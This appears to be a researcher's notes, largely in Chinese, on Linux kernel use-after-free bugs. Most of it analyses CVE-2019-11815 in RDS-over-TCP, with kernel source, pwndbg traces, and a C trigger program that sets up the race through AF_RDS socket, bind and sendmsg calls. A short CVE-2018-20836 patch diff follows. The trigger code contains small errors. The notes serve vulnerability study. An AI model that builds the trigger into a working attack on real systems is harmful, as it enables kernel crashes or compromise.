---
# System prepended metadata

title: Untitled

---



CVE-2019-11815

> An issue was discovered in rds_tcp_kill_sock in net/rds/tcp.c in the Linux kernel before 5.0.8. There is a race condition leading to a use-after-free, related to net namespace cleanup.

> When it is to cleanup net namespace, rds_tcp_exit_net() will call
> rds_tcp_kill_sock(), if t_sock is NULL, it will not call
> rds_conn_destroy(), rds_conn_path_destroy() and rds_tcp_conn_free() to free
> connection, and the worker cp_conn_w is not stopped, afterwards the net is freed in
> net_drop_ns(); While cp_conn_w rds_connect_worker() will call rds_tcp_conn_path_connect()
> and reference 'net' which has already been freed.

```c
#define list_for_each_entry_safe(pos, tmp, head, member)		\
    for (pos = __container_of((head)->next, pos, member),		\
	 tmp = __container_of(pos->member.next, pos, member);		\
	 &pos->member != (head);					\
	 pos = tmp, tmp = __container_of(pos->member.next, tmp, member))

static void rds_tcp_kill_sock(struct net *net)
{
	struct rds_tcp_connection *tc, *_tc;
	LIST_HEAD(tmp_list);
	struct rds_tcp_net *rtn = net_generic(net, rds_tcp_netid);
	struct socket *lsock = rtn->rds_tcp_listen_sock;

	rtn->rds_tcp_listen_sock = NULL;
	rds_tcp_listen_stop(lsock, &rtn->rds_tcp_accept_w);
	spin_lock_irq(&rds_tcp_conn_lock);
	list_for_each_entry_safe(tc, _tc, &rds_tcp_conn_list, t_tcp_node) {
		struct net *c_net = read_pnet(&tc->t_cpath->cp_conn->c_net);

		if (net != c_net || !tc->t_sock)
			continue;
		if (!list_has_conn(&tmp_list, tc->t_cpath->cp_conn)) {
			list_move_tail(&tc->t_tcp_node, &tmp_list);
		} else {
			list_del(&tc->t_tcp_node);
			tc->t_tcp_node_detached = true;
		}
	}
	spin_unlock_irq(&rds_tcp_conn_lock);
	list_for_each_entry_safe(tc, _tc, &tmp_list, t_tcp_node)
		rds_conn_destroy(tc->t_cpath->cp_conn);
}
```



```c
tatic void __net_exit rds_tcp_exit_net(struct net *net)
{
	struct rds_tcp_net *rtn = net_generic(net, rds_tcp_netid);

	rds_tcp_kill_sock(net);

	if (rtn->rds_tcp_sysctl)
		unregister_net_sysctl_table(rtn->rds_tcp_sysctl);

	if (net != &init_net)
		kfree(rtn->ctl_table);
}

static struct pernet_operations rds_tcp_net_ops = {
	.init = rds_tcp_init_net,
	.exit = rds_tcp_exit_net,
	.id = &rds_tcp_netid,
	.size = sizeof(struct rds_tcp_net),
};

static void rds_tcp_exit(void)
{
	rds_tcp_set_unloading();
	synchronize_rcu();
	rds_info_deregister_func(RDS_INFO_TCP_SOCKETS, rds_tcp_tc_info);
#if IS_ENABLED(CONFIG_IPV6)
	rds_info_deregister_func(RDS6_INFO_TCP_SOCKETS, rds6_tcp_tc_info);
#endif
	unregister_pernet_device(&rds_tcp_net_ops);
	rds_tcp_destroy_conns();
	rds_trans_unregister(&rds_tcp_transport);
	rds_tcp_recv_exit();
	kmem_cache_destroy(rds_tcp_conn_slab);
}
module_exit(rds_tcp_exit);

static int rds_tcp_init(void)
{
	int ret;

	rds_tcp_conn_slab = kmem_cache_create("rds_tcp_connection",
					      sizeof(struct rds_tcp_connection),
					      0, 0, NULL);
	if (!rds_tcp_conn_slab) {
		ret = -ENOMEM;
		goto out;
	}

	ret = rds_tcp_recv_init();
	if (ret)
		goto out_slab;

	ret = register_pernet_device(&rds_tcp_net_ops);
	if (ret)
		goto out_recv;

	rds_trans_register(&rds_tcp_transport);

	rds_info_register_func(RDS_INFO_TCP_SOCKETS, rds_tcp_tc_info);
#if IS_ENABLED(CONFIG_IPV6)
	rds_info_register_func(RDS6_INFO_TCP_SOCKETS, rds6_tcp_tc_info);
#endif

	goto out;
out_recv:
	rds_tcp_recv_exit();
out_slab:
	kmem_cache_destroy(rds_tcp_conn_slab);
out:
	return ret;
}
```

socket的调用：

```
SYSCALL_DEFINE3(socket, int, family, int, type, int, protocol)
{
	return __sys_socket(family, type, protocol);
}

int __sys_socket(int family, int type, int protocol)
{
	int retval;
	struct socket *sock;
	int flags;

	/* Check the SOCK_* constants for consistency.  */
	BUILD_BUG_ON(SOCK_CLOEXEC != O_CLOEXEC);
	BUILD_BUG_ON((SOCK_MAX | SOCK_TYPE_MASK) != SOCK_TYPE_MASK);
	BUILD_BUG_ON(SOCK_CLOEXEC & SOCK_TYPE_MASK);
	BUILD_BUG_ON(SOCK_NONBLOCK & SOCK_TYPE_MASK);

	flags = type & ~SOCK_TYPE_MASK;
	if (flags & ~(SOCK_CLOEXEC | SOCK_NONBLOCK))
		return -EINVAL;
	type &= SOCK_TYPE_MASK;

	if (SOCK_NONBLOCK != O_NONBLOCK && (flags & SOCK_NONBLOCK))
		flags = (flags & ~SOCK_NONBLOCK) | O_NONBLOCK;

	retval = sock_create(family, type, protocol, &sock);
	if (retval < 0)
		return retval;

	return sock_map_fd(sock, flags & (O_CLOEXEC | O_NONBLOCK));
}

int sock_create(int family, int type, int protocol, struct socket **res)
{
	return __sock_create(current->nsproxy->net_ns, family, type, protocol, res, 0);
}

```

```c

int __sock_create(struct net *net, int family, int type, int protocol,
			 struct socket **res, int kern)
{
	int err;
	struct socket *sock;
	const struct net_proto_family *pf;

	/*
	 *      Check protocol is in range
	 */
	if (family < 0 || family >= NPROTO)
		return -EAFNOSUPPORT;
	if (type < 0 || type >= SOCK_MAX)
		return -EINVAL;

	/* Compatibility.

	   This uglymoron is moved from INET layer to here to avoid
	   deadlock in module load.
	 */
	if (family == PF_INET && type == SOCK_PACKET) {
		pr_info_once("%s uses obsolete (PF_INET,SOCK_PACKET)\n",
			     current->comm);
		family = PF_PACKET;
	}

	err = security_socket_create(family, type, protocol, kern);
	if (err)
		return err;

	/*
	 *	Allocate the socket and allow the family to set things up. if
	 *	the protocol is 0, the family is instructed to select an appropriate
	 *	default.
	 */
	sock = sock_alloc();
	if (!sock) {
		net_warn_ratelimited("socket: no more sockets\n");
		return -ENFILE;	/* Not exactly a match, but its the
				   closest posix thing */
	}

	sock->type = type;

#ifdef CONFIG_MODULES
	/* Attempt to load a protocol module if the find failed.
	 *
	 * 12/09/1996 Marcin: But! this makes REALLY only sense, if the user
	 * requested real, full-featured networking support upon configuration.
	 * Otherwise module support will break!
	 */
	if (rcu_access_pointer(net_families[family]) == NULL)
		request_module("net-pf-%d", family);
#endif

	rcu_read_lock();
	pf = rcu_dereference(net_families[family]);
	err = -EAFNOSUPPORT;
	if (!pf)
		goto out_release;

	/*
	 * We will call the ->create function, that possibly is in a loadable
	 * module, so we have to bump that loadable module refcnt first.
	 */
	if (!try_module_get(pf->owner))
		goto out_release;

	/* Now protected by module ref count */
	rcu_read_unlock();

	err = pf->create(net, sock, protocol, kern);
	if (err < 0)
		goto out_module_put;

	/*
	 * Now to bump the refcnt of the [loadable] module that owns this
	 * socket at sock_release time we decrement its refcnt.
	 */
	if (!try_module_get(sock->ops->owner))
		goto out_module_busy;

	/*
	 * Now that we're done with the ->create function, the [loadable]
	 * module can have its refcnt decremented
	 */
	module_put(pf->owner);
	err = security_socket_post_create(sock, family, type, protocol, kern);
	if (err)
		goto out_sock_release;
	*res = sock;

	return 0;

out_module_busy:
	err = -EAFNOSUPPORT;
out_module_put:
	sock->ops = NULL;
	module_put(pf->owner);
out_sock_release:
	sock_release(sock);
	return err;

out_release:
	rcu_read_unlock();
	goto out_sock_release;
}
```



syscall的第一个参数是domain, `#define AF_RDS 21`

比如IP对应的是2：

```
pwndbg> p net_families[2]
$9 = (const struct net_proto_family *) 0xffffffff81f149f0 <inet_family_ops>
pwndbg> p *net_families[2]
$21 = {
  family = 2, 
  create = 0xffffffff818e0fa0 <inet_create>, 
  owner = 0x0 <irq_stack_union>
}
```

ipv6对应的是10

```
pwndbg> p net_families[10]
$19 = (const struct net_proto_family *) 0xffffffff81f18140 <inet6_family_ops>
pwndbg> p *net_families[10]
$22 = {
  family = 10, 
  create = 0xffffffff81918fe0 <inet6_create>, 
  owner = 0x0 <irq_stack_union>
}
```

其他的对应的entry项可能是0，表示没有支持

```
pwndbg> p net_families[21]
$20 = (const struct net_proto_family *) 0x0 <irq_stack_union>
```

**重新编译内核，选择kconfig**



第二个参数是sock_type，这里是`SOCK_SEQPACKET = 5`

```
 ► 0xffffffff81822b62 <__sys_socket+82>    call   __sock_create <0xffffffff81820b70>
        rdi: 0xffffffff825d2540 (init_net) ◂— 0x100000002
        rsi: 0x15
        rdx: 0x5
        rcx: 0x0
        r8: 0xffffc900001d7f08 ◂— 0x100
        r9: 0x0
        
int __sock_create(struct net *net, int family, int type, int protocol, struct socket **res, int kern)
```

```c
pwndbg> p *(struct net *)0xffffffff825d2540
$1 = {
  passive = {
    refs = {
      counter = 2
    }
  }, 
...
```

create: 

```c
int __sock_create(struct net *net, int family, int type, int protocol,
			 struct socket **res, int kern)
{
	int err;
	struct socket *sock;
	const struct net_proto_family *pf;

	/*
	 *      Check protocol is in range
	 */
	if (family < 0 || family >= NPROTO)
		return -EAFNOSUPPORT;
	if (type < 0 || type >= SOCK_MAX)
		return -EINVAL;
// pass
  
	/* Compatibility.

	   This uglymoron is moved from INET layer to here to avoid
	   deadlock in module load.
	 */
	if (family == PF_INET && type == SOCK_PACKET) {
		pr_info_once("%s uses obsolete (PF_INET,SOCK_PACKET)\n",
			     current->comm);
		family = PF_PACKET;
	}
// pass
	err = security_socket_create(family, type, protocol, kern);

// ► 0xffffffff81820bcc <__sock_create+92>     call   security_socket_create <0xffffffff813e5560>
//        rdi: 0x15
//        rsi: 0x5
//        rdx: 0x0
//        rcx: 0x0
 
// pass eax = 0
  
  
  
	if (err)
		return err;

	/*
	 *	Allocate the socket and allow the family to set things up. if
	 *	the protocol is 0, the family is instructed to select an appropriate
	 *	default.
	 */
	sock = sock_alloc();
  
// sock = 0xffff888006099180
  
	if (!sock) {
		net_warn_ratelimited("socket: no more sockets\n");
		return -ENFILE;	/* Not exactly a match, but its the
				   closest posix thing */
	}

	sock->type = type;
  
//sock = {
//  state = SS_UNCONNECTED, 
//  type = 5, 
//  flags = 0, 
//  wq = 0xffff888005a8ca40, 
//  file = 0x0 <irq_stack_union>, 
//  sk = 0x0 <irq_stack_union>, 
//  ops = 0x0 <irq_stack_union>
//}


#ifdef CONFIG_MODULES
	/* Attempt to load a protocol module if the find failed.
	 *
	 * 12/09/1996 Marcin: But! this makes REALLY only sense, if the user
	 * requested real, full-featured networking support upon configuration.
	 * Otherwise module support will break!
	 */
	if (rcu_access_pointer(net_families[family]) == NULL)
		request_module("net-pf-%d", family);
#endif

	rcu_read_lock();
	pf = rcu_dereference(net_families[family]);
	err = -EAFNOSUPPORT;
	if (!pf)
		goto out_release;

	/*
	 * We will call the ->create function, that possibly is in a loadable
	 * module, so we have to bump that loadable module refcnt first.
	 */
	if (!try_module_get(pf->owner))
		goto out_release;

	/* Now protected by module ref count */
	rcu_read_unlock();

	err = pf->create(net, sock, protocol, kern);
	if (err < 0)
		goto out_module_put;

	/*
	 * Now to bump the refcnt of the [loadable] module that owns this
	 * socket at sock_release time we decrement its refcnt.
	 */
	if (!try_module_get(sock->ops->owner))
		goto out_module_busy;

	/*
	 * Now that we're done with the ->create function, the [loadable]
	 * module can have its refcnt decremented
	 */
	module_put(pf->owner);
	err = security_socket_post_create(sock, family, type, protocol, kern);
	if (err)
		goto out_sock_release;
	*res = sock;

	return 0;

out_module_busy:
	err = -EAFNOSUPPORT;
out_module_put:
	sock->ops = NULL;
	module_put(pf->owner);
out_sock_release:
	sock_release(sock);
	return err;

out_release:
	rcu_read_unlock();
	goto out_sock_release;
}
```



__rcu: read, copy, use

```
struct net_proto_family {
	int		family;
	int		(*create)(struct net *net, struct socket *sock,
				  int protocol, int kern);
	struct module	*owner;
};
```



重新手动编译之后成功调用了rds的module，对应的结构如下：

```
pwndbg> p *net_families[21]
$2 = {
  family = 21, 
  create = 0xffffffff81909a00 <rds_create>, 
  owner = 0x0 <irq_stack_union>
}
```

之后在\_\_sock\_create函数中的1276行成功调用了pf->create(net, sock, protocol, kern)，也就是rds_create(net, sock, protocol, kern)

调用的参数是

```c
rdi: 0xffffffff8231ac00 (init_net) ◂— 0x100000002
rsi: 0xffff888006b93180 ◂— add    dword ptr [rax], eax /* 0x500000001 */
rdx: 0x0
rcx: 0x0
```



\_\_rds\_bind调用rds\_trans\_get\_preferred来指定trans的值

\_\_rds\_conn\_create里同样也有



sendmsg:

```c
 ► 0xffffffff817c6a3e <__sys_sendmsg+94>     call   ___sys_sendmsg <0xffffffff817c51f0>
        rdi: 0xffff888006b97180 ◂— add    dword ptr [rax], eax /* 0x500000001 */
        rsi: 0x7ffd0bcddda0 —▸ 0x7ffd0bcdddf0 ◂— add    al, byte ptr [rax] /* 0x100007ff7130002 */
        rdx: 0xffffc9000018fec0 ◂— 0x81efe0b0
        rcx: 0x0
        r8: 0x0
        r9: 0x0
```

sock_sendmsg:

```c
► 0xffffffff817c54a7 <___sys_sendmsg+695>    call   sock_sendmsg <0xffffffff817c4dc0>
        rdi: 0xffff888006b97180 ◂— add    dword ptr [rax], eax /* 0x500000001 */
        rsi: 0xffffc9000018fec0 —▸ 0xffffc9000018fdc0 ◂— 0x100007ff7130002
```

rds_conn_create_outgoing in rds_sendmsg

```c
 ► 0xffffffff81911b89 <rds_sendmsg+1817>    call   rds_conn_create_outgoing <0xffffffff8190d310>
        rdi: 0xffffffff8231ac00 (init_net) ◂— add    al, byte ptr [rax] /* 0x200000002 */
        rsi: 0xffff888005ed0750 ◂— 0
        rdx: 0xffffc9000018fca0 ◂— 0x0
        rcx: 0xffffffff8232c340 (rds_loop_transport) ◂— insb   byte ptr [rdi], dx /* 0x6b636162706f6f6c; 'loopback' */
        r8: 0x6000c0
        r9: 0x0

```

__rds_conn_create():

```c
 ► 0xffffffff8190d31d <rds_conn_create_outgoing+13>    call   __rds_conn_create <0xffffffff8190ca10>
        rdi: 0xffffffff8231ac00 (init_net) ◂— add    al, byte ptr [rax] /* 0x200000002 */
        rsi: 0xffff888005ed0750 ◂— 0
        rdx: 0xffffc9000018fca0 ◂— 0x0
        rcx: 0xffffffff8232c340 (rds_loop_transport) ◂— insb   byte ptr [rdi], dx /* 0x6b636162706f6f6c; 'loopback' */
        r8: 0x6000c0
        r9: 0x1
        arg[6]: 0x0
```

这里ret = conn->c_trans->conn_path_connect(cp)，函数指针指向0xffffffff81913510 (rds_loop_conn_path_connect)

```c
 ► 0xffffffff81912eab <rds_connect_worker+107>    call   __x86_indirect_thunk_rax <0xffffffff81c00ca0>
        rdi: 0xffff888005f77a00 —▸ 0xffff88800583f000 ◂— 0
        rsi: 0x40
        rdx: 0x1
        rcx: 0xffff88800703a020 ◂— 0xffff88800703a020
```



这个关键函数长这样

```c
struct rds_transport *rds_trans_get_preferred(struct net *net,
					      const struct in6_addr *addr,
					      __u32 scope_id)
{
	struct rds_transport *ret = NULL;
	struct rds_transport *trans;
	unsigned int i;

	if (ipv6_addr_v4mapped(addr)) {
		if (*(u_int8_t *)&addr->s6_addr32[3] == IN_LOOPBACKNET)
			return &rds_loop_transport;
	} else if (ipv6_addr_loopback(addr)) {
		return &rds_loop_transport;
	}

	down_read(&rds_trans_sem);
	for (i = 0; i < RDS_TRANS_COUNT; i++) {
		trans = transports[i];

		if (trans && (trans->laddr_check(net, addr, scope_id) == 0) &&
		    (!trans->t_owner || try_module_get(trans->t_owner))) {
			ret = trans;
			break;
		}
	}
	up_read(&rds_trans_sem);

	return ret;
}
```

其中全局变量transports：

```c
pwndbg> p transports
$44 = {0x0 <irq_stack_union>, 0x0 <irq_stack_union>, 0xffffffff8232c4e0 <rds_tcp_transport>}
pwndbg> p transports[2]->laddr_check
$45 = (int (*)(struct net *, const struct in6_addr *, __u32)) 0xffffffff81915900 <rds_tcp_laddr_check>
```

我们想让trans保存成rds_tcp_transport

```c
static int rds_tcp_laddr_check(struct net *net, const struct in6_addr *addr,
			       __u32 scope_id)
{
	struct net_device *dev = NULL;
#if IS_ENABLED(CONFIG_IPV6)
	int ret;
#endif

	if (ipv6_addr_v4mapped(addr)) {
		if (inet_addr_type(net, addr->s6_addr32[3]) == RTN_LOCAL)  // 需要手动指定 路由表
			return 0;
		return -EADDRNOTAVAIL;
	}

	/* If the scope_id is specified, check only those addresses
	 * hosted on the specified interface.
	 */
	if (scope_id != 0) {  // 我没找到让scope_id不为零的path... 
		rcu_read_lock();
		dev = dev_get_by_index_rcu(net, scope_id);
		/* scope_id is not valid... */
		if (!dev) {
			rcu_read_unlock();
			return -EADDRNOTAVAIL;
		}
		rcu_read_unlock();
	}
#if IS_ENABLED(CONFIG_IPV6)
	ret = ipv6_chk_addr(net, addr, dev, 0);
	if (ret)
		return 0;
#endif
	return -EADDRNOTAVAIL;
}
```

要通过laddr_check的检查

```c
// 上层传参是net, addr->s6_addr32
//  ► 0xffffffff8191594f <rds_tcp_laddr_check+79>    call   inet_addr_type <0xffffffff81886310>
//        rdi: 0xffffffff8231ac00 (init_net) ◂— 0x200000002
//        rsi: 0xa0ad60a
 
// 传参是net, NULL, addr, RT_TABLE_LOCAL
static inline unsigned int __inet_dev_addr_type(struct net *net,
						const struct net_device *dev,
						__be32 addr, u32 tb_id)
{
	struct flowi4		fl4 = { .daddr = addr };
	struct fib_result	res;
	unsigned int ret = RTN_BROADCAST;
	struct fib_table *table;

	if (ipv4_is_zeronet(addr) || ipv4_is_lbcast(addr))  // 是0.x.x.x / ff
		return RTN_BROADCAST;
	if (ipv4_is_multicast(addr))  // D类地址
		return RTN_MULTICAST;

	rcu_read_lock();

	table = fib_get_table(net, tb_id);
	if (table) {
		ret = RTN_UNICAST;
		if (!fib_table_lookup(table, &fl4, &res, FIB_LOOKUP_NOREF)) {
			if (!dev || dev == res.fi->fib_dev)
				ret = res.type;
		}
	}

	rcu_read_unlock();
	return ret;
}
```

调用rds_tcp_conn_path_connect

```c
 ► 0xffffffff81912eab <rds_connect_worker+107>    call   __x86_indirect_thunk_rax <0xffffffff81c00ca0>
        rdi: 0xffff888005f7c000 —▸ 0xffff88800582f000 ◂— 0
        rsi: 0x40
        rdx: 0x1
        rcx: 0xffff88800703a020 ◂— 0xffff88800703a020
```



总结:

rds_bind 调用 rds_trans_get_preferred 调用 laddr_check，也就是 rds_tcp_laddr_check，会调用inet_addr_type来判断网络是否为RTN_LOCAL(macro: 2)，如果是则返回0，除此之外进行的判断是

```c
if (trans && (trans->laddr_check(net, addr, scope_id) == 0) &&
    (!trans->t_owner || try_module_get(trans->t_owner))) {
  ret = trans;
  break;
}
```

如果成功返回了rds_tcp_trans就可以在rs->rs_transport里保存tcp的vtable

之后在rds_sendmsg中调用rds_conn_create_outgoing调用__rds_conn_create，



那么在\_\_rds_sendmsg中也会进行一样的检查，然后赋值trans，于是在\_\_rds_conn_path_init函数中的INIT_WORK会调用rds_connect_worker，这其中会调用conn->c_trans->conn_path_connect(cp)，如果失败会调用rds_queue_reconnect，同时在rds_tcp_restore_callback把t_socks设置为null，这样在umount和unlink的syscall调用rds_tcp_kill_sock()的时候就不会清除worker进程，同时global variable的net被free，但是回调函数conn_path_connect依然会引用net，造成uaf



Inet_addr_type 的asm代码有点意思

trans的t_type的几种类型

```c
#define	RDS_TRANS_IB	0
#define	RDS_TRANS_IWARP	1
#define	RDS_TRANS_TCP	2
#define RDS_TRANS_COUNT	3
#define	RDS_TRANS_NONE	(~0)
```





rds\_tcp\_init\_net调用INIT_WORK(&rtn->rds_tcp_accept_w, rds_tcp_accept_worker)

rds_tcp_accept_worker调用rds\_tcp\_accept\_one

rds\_tcp\_accept\_one调用rds\_conn\_create

rds\_conn\_create和rds\_conn\_create\_outgoing调用__rds_conn_create

\_\_rds\_conn\_create()调用__rds_conn_path_init

\_\_rds\_conn\_path\_init调用INIT_DELAYED_WORK(&cp->cp_conn_w, rds_connect_worker)

reconnect: 0xffffffff81913510



sock_sendmsg -> sock_sendmsg_nosec -> sock->ops->sendmsg(rds_sendmsg)



sock at 0xffff888006b97180

file at 0xffff888006479600

fd = 3



```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <string.h>
#include <sys/utsname.h>
#include <sys/socket.h>


#define RECVPORT 5111
#define SENDPORT 6111

#define PF_RDS AF_RDS
#define AF_RDS 21

int main(int argc, char *argv[]) {
	int s, ret2;
	struct sockaddr_in addr;
	s = socket(PF_RDS, SOCK_STREAM, 0);
	if (s < 0) {
		printf("blacklisted.\n");
	}
	memset(&addr, 0, sizeof(addr));
	addr.sin_addr.s_addr = inet_addr("10.0.10.214");  // 本地RTN_LOCAL地址
	addr.sin_family = AF_INET;
	addr.sin_port = htons(5111);
	ret2 = bind(s, (struct sockaddr *)&addr, sizeof(addr));

	if (ret2 < 0) {
		printf("failed binding.\n");
	}

	// try to send message
	int size, ret;
	struct sockaddr_in recvaddr;
	struct msghdr msg;
	struct iovec iov;
	unsigned long buf;
	memset(&recvaddr, 0, sizeof(recvaddr));
	size = sizeof(recvaddr);
	recvaddr.sin_port = htons(RECVPORT);
	recvaddr.sin_family = AF_INET;
	recvaddr.sin_addr.s_addr = inet_addr("114.114.114.114");  // 需要外部地址

	memset(&msg, 0, sizeof(msg));
	msg.msg_name = &recvaddr;
	msg.msg_namelen = sizeof(recvaddr);
	msg.msg_iovlen = 1;
	buf = 0xffffffff;
	iov.iov_len = sizeof(buf);
	iov.iov_base = &buf;
	msg.msg_iov = &iov;
	ret = sendmsg(ret2, &msg, 0);
	if (ret < 0) {
		printf("failed to send.\n");
	}
	printf("sent.\n");
	return 0;
}
```

在外面ipnetns delete即可







CVE-2018-20836

> An issue was discovered in the Linux kernel before 4.20. There is a race condition in smp_task_timedout() and smp_task_done() in drivers/scsi/libsas/sas_expander.c, leading to a use-after-free.

```c
diff --git a/drivers/scsi/libsas/sas_expander.c b/drivers/scsi/libsas/sas_expander.c
index 5222294..0d1f727 100644
--- a/drivers/scsi/libsas/sas_expander.c
+++ b/drivers/scsi/libsas/sas_expander.c
@@ -48,17 +48,16 @@ static void smp_task_timedout(struct timer_list *t)
 	unsigned long flags;
 
 	spin_lock_irqsave(&task->task_state_lock, flags);
-	if (!(task->task_state_flags & SAS_TASK_STATE_DONE))
+	if (!(task->task_state_flags & SAS_TASK_STATE_DONE)) {
 		task->task_state_flags |= SAS_TASK_STATE_ABORTED;
+		complete(&task->slow_task->completion);
+	}
 	spin_unlock_irqrestore(&task->task_state_lock, flags);
-
-	complete(&task->slow_task->completion);
 }
 
 static void smp_task_done(struct sas_task *task)
 {
-	if (!del_timer(&task->slow_task->timer))
-		return;
+	del_timer(&task->slow_task->timer);
 	complete(&task->slow_task->completion);
 }
```



